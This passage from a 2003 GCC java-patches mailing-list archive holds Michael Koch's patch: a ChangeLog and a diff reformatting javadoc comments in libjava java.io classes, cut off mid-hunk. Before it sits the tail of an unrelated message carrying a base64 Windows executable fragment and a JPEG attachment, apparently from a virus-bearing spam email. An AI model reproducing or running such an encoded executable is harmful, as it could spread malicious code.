AAAAAAAAAAAAAAAAAAC4MAAAfAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC50ZXh0AAAA MQYAAAAQAAAAEAAAABAAAAAAAAAAAAAAAAAAACAAAGAuZGF0YQAAAKAAAAAAIAAAABAAAAAg AAAAAAAAAAAAAAAAAABAAADALmlkYXRhAAA6AwAAADAAAAAQAAAAMAAAAAAAAAAAAAAAAAAA QAAAQC5yc3JjAAAA8AMAAABAAAAAEAAAAEAAAAAAAAAAAAAAAAAAAEAAAEAucmVsb2MAALQA AAAAUAAAABAAAABQAAAAAAAAAAAAAAAAAABAAABCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAD== --A6O06K506Pl7Gxy3j5yOa4A865QR04j --A6O06K506Pl7Gxy3j5yOa4A865QR04j Content-Type: application/octet-stream; name=tn_alyne_29[1].jpg Content-Transfer-Encoding: base64 Content-ID: /9j/4AAQSkZJRgABAQEASABIAAD/2wBDAAUDBAQEAwUEBAQFBQUGBwwIBwcHBw8LCwkMEQ8S EhEPERETFhwXExQaFRERGCEYGh0dHx8fExciJCIeJBweHx7/2wBDAQUFBQcGBw4ICA4eFBEU Hh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh7/wAAR CABxAE4DASIAAhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAA AgEDAwIEAwUFBAQAAAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkK FhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWG h4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl 5ufo6erx8vP09fb3+Pn6/8QAHwEAAwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoL/8QAtREA AgECBAQDBAcFBAQAAQJ3AAECAxEEBSExBhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYk NOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOE hYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk 5ebn6Onq8vP09fb3+Pn6/9oADAMBAAIRAxEAPwDP+D/w1s/HWkaje3OqzWTWk6xKEVSDlc5J NXvH3w48F+EdAn1C58XXN1dRr8trF5W52I4GegHuf1rrf2SIrObQ9eSZLeSZbxGUOoZgNnUZ 7V4z+0TqDa18UrrQtNWCG0a6SLCpwTjLOfckk569q5sNh6H1eM5Ruz080zfMlm9ShSquMF0s uy8jjrHUlmkuROrRrHwm1w+D6FgMdPeqdxrhjuHiQBlQ4LYOD+OP8RXv/wAOfA+g6fYxwNaJ cysAWklGTn29Kp/Gn4dadJocusaVAIr63j3OFP8ArUHUH3A6VxXoOduXQ9h4rMY0+b2mvy/y PF9I1izuLjbeNPFCCN7RgMyj129/wNaNm0dxYPfbbqOEyMtvvABmA6sMZOPfHX6GuFVlHmQM 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9 --A6O06K506Pl7Gxy3j5yOa4A865QR04j-- From java-patches-return-6567-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sun Mar 23 19:09:00 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 24482 invoked by alias); 23 Mar 2003 19:09:00 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 24471 invoked from network); 23 Mar 2003 19:08:59 -0000 Received: from unknown (HELO mail2.ewetel.de) (212.6.122.20) by sources.redhat.com with SMTP; 23 Mar 2003 19:08:59 -0000 Received: from idefix.konqueror.de (dynadsl-080-228-81-034.ewetel.net [80.228.81.34]) by mail2.ewetel.de (8.12.1/8.12.1) with ESMTP id h2NJ8m8G004021 for ; Sun, 23 Mar 2003 20:08:49 +0100 (MET) Received: from asterix.konqueror.de ([192.168.1.3]) by idefix.konqueror.de with esmtp (Exim 3.35 #1 (Debian)) id 18xAoU-0008DU-00 for ; Sun, 23 Mar 2003 20:07:22 +0100 From: Michael Koch To: java-patches@gcc.gnu.org Subject: FYI: Patch: java.io - some formatting cleanups Date: Sun, 23 Mar 2003 20:09:36 +0100 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_wZgf+oCJ0fEsdyu" Message-Id: <200303232009.36861.konqueror@gmx.de> X-CheckCompat: OK --Boundary-00=_wZgf+oCJ0fEsdyu Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi list, I commit the attached patch, to fix some formatting and documentation=20 issues and merge it with classpath. Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+fgZwWSOgCCdjSDsRAtmoAJ96+qYpDhV1fZf8vfdM/6Tk8lzEVwCbBu0A yYrXjL6f/YlDxhouamR+GgI=3D =3D2Fi7 =2D----END PGP SIGNATURE----- --Boundary-00=_wZgf+oCJ0fEsdyu Content-Type: text/x-diff; charset="iso-8859-15"; name="io.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="io.diff" Index: ChangeLog =================================================================== RCS file: /cvs/gcc/gcc/libjava/ChangeLog,v retrieving revision 1.1799 diff -u -r1.1799 ChangeLog --- ChangeLog 21 Mar 2003 09:18:30 -0000 1.1799 +++ ChangeLog 23 Mar 2003 18:32:02 -0000 @@ -1,3 +1,60 @@ +2003-03-23 Michael Koch + + * java/io/BufferedOutputStream.java: + Reformated. + * java/io/BufferedReader.java: + Reformated. + * java/io/ByteArrayOutputStream.java + (size): Fixed @see tag. + * java/io/CharArrayWriter.java + (size): Fixed @see tag. + * java/io/DataInput.java: + Reformated. + * java/io/DataOutput.java: + Reformated. + * java/io/DataOutputStream.java: + Merged copyright years with classpath. + * java/io/Externalizable.java: + Reformated. + * java/io/FileFilter.java: + Reformated. + * java/io/FileInputStream.java: + Merged copyright years with classpath. + * java/io/FileOutputStream.java: + Merged copyright years with classpath. + * java/io/FilePermission.java + (FilePermission): Replaced @XXX with FIXME:. + * java/io/FileWriter.java: + Reformated. + * java/io/FilenameFilter.java: + Reformated. + * java/io/FilterInputStream.java: + Reformated. + * java/io/FilterOutputStream.java: + Reformated. + * java/io/FilterReader.java: + Reformated. + * java/io/FilterWriter.java: + Reformated. + * java/io/LineNumberInputStream.java + (LineNumberInputStream): Replaced @code with HTML tags to make javadoc + happy. + (getLineNumber): Fixed @return tag. + * java/io/ObjectInput.java: + Reformated. + * java/io/ObjectOutput.java: + Reformated. + * java/io/ObjectStreamClass.java: + Reformated. + * java/io/PrintStream.java: + Merged copyright years with classpath. + * java/io/PushbackReader.java + (PushbackReader): Replaced @code with @param. + * java/io/SerializablePermission.java: + Reformated. + * java/io/StreamTokenizer.java + (resetSyntax): Fixed @see tag. + 2003-03-21 Michael Koch * javax/swing/Action.java Index: java/io/BufferedOutputStream.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/io/BufferedOutputStream.java,v retrieving revision 1.9 diff -u -r1.9 BufferedOutputStream.java --- java/io/BufferedOutputStream.java 18 Mar 2003 07:50:19 -0000 1.9 +++ java/io/BufferedOutputStream.java 23 Mar 2003 18:32:02 -0000 @@ -50,62 +50,44 @@ */ public class BufferedOutputStream extends FilterOutputStream { - /* - * Class Variables - */ - /** - * This is the default buffer size - */ - private static final int DEFAULT_BUFFER_SIZE = 512; - - /*************************************************************************/ - - /* - * Instance Variables + * This is the default buffer size */ + private static final int DEFAULT_BUFFER_SIZE = 512; /** - * This is the internal byte array used for buffering output before - * writing it. - */ + * This is the internal byte array used for buffering output before + * writing it. + */ protected byte[] buf; /** - * This is the number of bytes that are currently in the buffer and - * are waiting to be written to the underlying stream. It always points to - * the index into the buffer where the next byte of data will be stored - */ - protected int count; - - /*************************************************************************/ - - /* - * Constructors + * This is the number of bytes that are currently in the buffer and + * are waiting to be written to the underlying stream. It always points to + * the index into the buffer where the next byte of data will be stored */ + protected int count; /** - * This method initializes a new BufferedOutputStream instance - * that will write to the specified subordinate OutputStream - * and which will use a default buffer size of 512 bytes. - * - * @param out The underlying OutputStream to write data to - */ + * This method initializes a new BufferedOutputStream instance + * that will write to the specified subordinate OutputStream + * and which will use a default buffer size of 512 bytes. + * + * @param out The underlying OutputStream to write data to + */ public BufferedOutputStream(OutputStream out) { this(out, DEFAULT_BUFFER_SIZE); } - /*************************************************************************/ - /** - * This method initializes a new BufferedOutputStream instance - * that will write to the specified subordinate OutputStream - * and which will use the specified buffer size - * - * @param out The underlying OutputStream to write data to - * @param size The size of the internal buffer - */ + * This method initializes a new BufferedOutputStream instance + * that will write to the specified subordinate OutputStream + * and which will use the specified buffer size + * + * @param out The underlying OutputStream to write data to + * @param size The size of the internal buffer + */ public BufferedOutputStream(OutputStream out, int size) { super(out); @@ -113,18 +95,12 @@ buf = new byte[size]; } - /*************************************************************************/ - - /* - * Instance Methods - */ - /** - * This method causes any currently buffered bytes to be immediately - * written to the underlying output stream. - * - * @exception IOException If an error occurs - */ + * This method causes any currently buffered bytes to be immediately + * written to the underlying output stream. + * + * @exception IOException If an error occurs + */ public synchronized void flush() throws IOException { if (count == 0) @@ -135,13 +111,11 @@ out.flush(); } - /*************************************************************************/ - - /* - * This method flushes any remaining buffered bytes then closes the - * underlying output stream. Any further attempts to write to this stream - * may throw an exception - * + /** + * This method flushes any remaining buffered bytes then closes the + * underlying output stream. Any further attempts to write to this stream + * may throw an exception + * public synchronized void close() throws IOException { flush(); @@ -149,33 +123,29 @@ } */ - /*************************************************************************/ - - /* - * This method runs when the object is garbage collected. It is - * responsible for ensuring that all buffered bytes are written and - * for closing the underlying stream. - * - * @exception IOException If an error occurs (ignored by the Java runtime) - * + /** + * This method runs when the object is garbage collected. It is + * responsible for ensuring that all buffered bytes are written and + * for closing the underlying stream. + * + * @exception IOException If an error occurs (ignored by the Java runtime) + * protected void finalize() throws IOException { close(); } */ - /*************************************************************************/ - /** - * This method writes a single byte of data. This will be written to the - * buffer instead of the underlying data source. However, if the buffer - * is filled as a result of this write request, it will be flushed to the - * underlying output stream. - * - * @param b The byte of data to be written, passed as an int - * - * @exception IOException If an error occurs - */ + * This method writes a single byte of data. This will be written to the + * buffer instead of the underlying data source. However, if the buffer + * is filled as a result of this write request, it will be flushed to the + * underlying output stream. + * + * @param b The byte of data to be written, passed as an int + * + * @exception IOException If an error occurs + */ public synchronized void write(int b) throws IOException { if (count == buf.length) @@ -185,21 +155,19 @@ ++count; } - /*************************************************************************/ - /** - * This method writes len bytes from the byte array - * buf starting at position offset in the buffer. - * These bytes will be written to the internal buffer. However, if this - * write operation fills the buffer, the buffer will be flushed to the - * underlying output stream. - * - * @param buf The array of bytes to write. - * @param offset The index into the byte array to start writing from. - * @param len The number of bytes to write. - * - * @exception IOException If an error occurs - */ + * This method writes len bytes from the byte array + * buf starting at position offset in the buffer. + * These bytes will be written to the internal buffer. However, if this + * write operation fills the buffer, the buffer will be flushed to the + * underlying output stream. + * + * @param buf The array of bytes to write. + * @param offset The index into the byte array to start writing from. + * @param len The number of bytes to write. + * + * @exception IOException If an error occurs + */ public synchronized void write(byte[] buf, int offset, int len) throws IOException { Index: java/io/BufferedReader.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/io/BufferedReader.java,v retrieving revision 1.11 diff -u -r1.11 BufferedReader.java --- java/io/BufferedReader.java 18 Mar 2003 06:00:25 -0000 1.11 +++ java/io/BufferedReader.java 23 Mar 2003 18:32:02 -0000 @@ -44,19 +44,19 @@ */ /** - * This subclass of FilterReader buffers input from an - * underlying implementation to provide a possibly more efficient read - * mechanism. It maintains the buffer and buffer state in instance - * variables that are available to subclasses. The default buffer size - * of 512 chars can be overridden by the creator of the stream. - *

          - * This class also implements mark/reset functionality. It is capable - * of remembering any number of input chars, to the limits of - * system memory or the size of Integer.MAX_VALUE - * - * @author Per Bothner - * @author Aaron M. Renn - */ + * This subclass of FilterReader buffers input from an + * underlying implementation to provide a possibly more efficient read + * mechanism. It maintains the buffer and buffer state in instance + * variables that are available to subclasses. The default buffer size + * of 512 chars can be overridden by the creator of the stream. + *

          + * This class also implements mark/reset functionality. It is capable + * of remembering any number of input chars, to the limits of + * system memory or the size of Integer.MAX_VALUE + * + * @author Per Bothner + * @author Aaron M. Renn + */ public class BufferedReader extends Reader { Reader in; @@ -99,13 +99,13 @@ } /** - * Create a new BufferedReader that will read from the - * specified subordinate stream with a buffer size that is specified by the - * caller. - * - * @param in The subordinate stream to read from - * @param bufsize The buffer size to use - */ + * Create a new BufferedReader that will read from the + * specified subordinate stream with a buffer size that is specified by the + * caller. + * + * @param in The subordinate stream to read from + * @param bufsize The buffer size to use + */ public BufferedReader(Reader in, int size) { super(in.lock); @@ -114,10 +114,10 @@ } /** - * This method closes the stream - * - * @exception IOException If an error occurs - */ + * This method closes the stream + * + * @exception IOException If an error occurs + */ public void close() throws IOException { synchronized (lock) @@ -130,36 +130,36 @@ } /** - * Returns true to indicate that this class supports mark/reset - * functionality. - * - * @return true - */ + * Returns true to indicate that this class supports mark/reset + * functionality. + * + * @return true + */ public boolean markSupported() { return true; } /** - * Mark a position in the input to which the stream can be - * "reset" by calling the reset() method. The parameter - * readlimit is the number of chars that can be read from the - * stream after setting the mark before the mark becomes invalid. For - * example, if mark() is called with a read limit of 10, then - * when 11 chars of data are read from the stream before the - * reset() method is called, then the mark is invalid and the - * stream object instance is not required to remember the mark. - *

          - * Note that the number of chars that can be remembered by this method - * can be greater than the size of the internal read buffer. It is also - * not dependent on the subordinate stream supporting mark/reset - * functionality. - * - * @param readlimit The number of chars that can be read before the mark - * becomes invalid - * - * @exception IOException If an error occurs - */ + * Mark a position in the input to which the stream can be + * "reset" by calling the reset() method. The parameter + * readlimit is the number of chars that can be read from the + * stream after setting the mark before the mark becomes invalid. For + * example, if mark() is called with a read limit of 10, then + * when 11 chars of data are read from the stream before the + * reset() method is called, then the mark is invalid and the + * stream object instance is not required to remember the mark. + *

          + * Note that the number of chars that can be remembered by this method + * can be greater than the size of the internal read buffer. It is also + * not dependent on the subordinate stream supporting mark/reset + * functionality. + * + * @param readlimit The number of chars that can be read before the mark + * becomes invalid + * + * @exception IOException If an error occurs + */ public void mark(int readLimit) throws IOException { synchronized (lock) @@ -207,16 +207,16 @@ } /** - * Reset the stream to the point where the mark() method - * was called. Any chars that were read after the mark point was set will - * be re-read during subsequent reads. - *

          - * This method will throw an IOException if the number of chars read from - * the stream since the call to mark() exceeds the mark limit - * passed when establishing the mark. - * - * @exception IOException If an error occurs; - */ + * Reset the stream to the point where the mark() method + * was called. Any chars that were read after the mark point was set will + * be re-read during subsequent reads. + *

          + * This method will throw an IOException if the number of chars read from + * the stream since the call to mark() exceeds the mark limit + * passed when establishing the mark. + * + * @exception IOException If an error occurs; + */ public void reset() throws IOException { synchronized (lock) @@ -239,15 +239,15 @@ } /** - * This method determines whether or not a stream is ready to be read. If - * This method returns false then this stream could (but is - * not guaranteed to) block on the next read attempt. - * - * @return true if this stream is ready to be read, - * false otherwise - * - * @exception IOException If an error occurs - */ + * This method determines whether or not a stream is ready to be read. If + * This method returns false then this stream could (but is + * not guaranteed to) block on the next read attempt. + * + * @return true if this stream is ready to be read, + * false otherwise + * + * @exception IOException If an error occurs + */ public boolean ready() throws IOException { synchronized (lock) @@ -258,24 +258,24 @@ } /** - * This method read chars from a stream and stores them into a caller - * supplied buffer. It starts storing the data at index - * offset into - * the buffer and attempts to read len chars. This method can - * return before reading the number of chars requested. The actual number - * of chars read is returned as an int. A -1 is returned to indicate the - * end of the stream. - *

          - * This method will block until some data can be read. - * - * @param buf The array into which the chars read should be stored - * @param offset The offset into the array to start storing chars - * @param count The requested number of chars to read - * - * @return The actual number of chars read, or -1 if end of stream. - * - * @exception IOException If an error occurs. - */ + * This method read chars from a stream and stores them into a caller + * supplied buffer. It starts storing the data at index + * offset into + * the buffer and attempts to read len chars. This method can + * return before reading the number of chars requested. The actual number + * of chars read is returned as an int. A -1 is returned to indicate the + * end of the stream. + *

          + * This method will block until some data can be read. + * + * @param buf The array into which the chars read should be stored + * @param offset The offset into the array to start storing chars + * @param count The requested number of chars to read + * + * @return The actual number of chars read, or -1 if end of stream. + * + * @exception IOException If an error occurs. + */ public int read(char[] buf, int offset, int count) throws IOException { synchronized (lock) @@ -396,16 +396,16 @@ } /** - * This method reads a single line of text from the input stream, returning - * it as a String. A line is terminated by "\n", a "\r", or - * an "\r\n" sequence. The system dependent line separator is not used. - * The line termination characters are not returned in the resulting - * String. - * - * @return The line of text read, or null if end of stream. - * - * @exception IOException If an error occurs - */ + * This method reads a single line of text from the input stream, returning + * it as a String. A line is terminated by "\n", a "\r", or + * an "\r\n" sequence. The system dependent line separator is not used. + * The line termination characters are not returned in the resulting + * String. + * + * @return The line of text read, or null if end of stream. + * + * @exception IOException If an error occurs + */ public String readLine() throws IOException { checkStatus(); @@ -470,20 +470,20 @@ } /** - * This method skips the specified number of chars in the 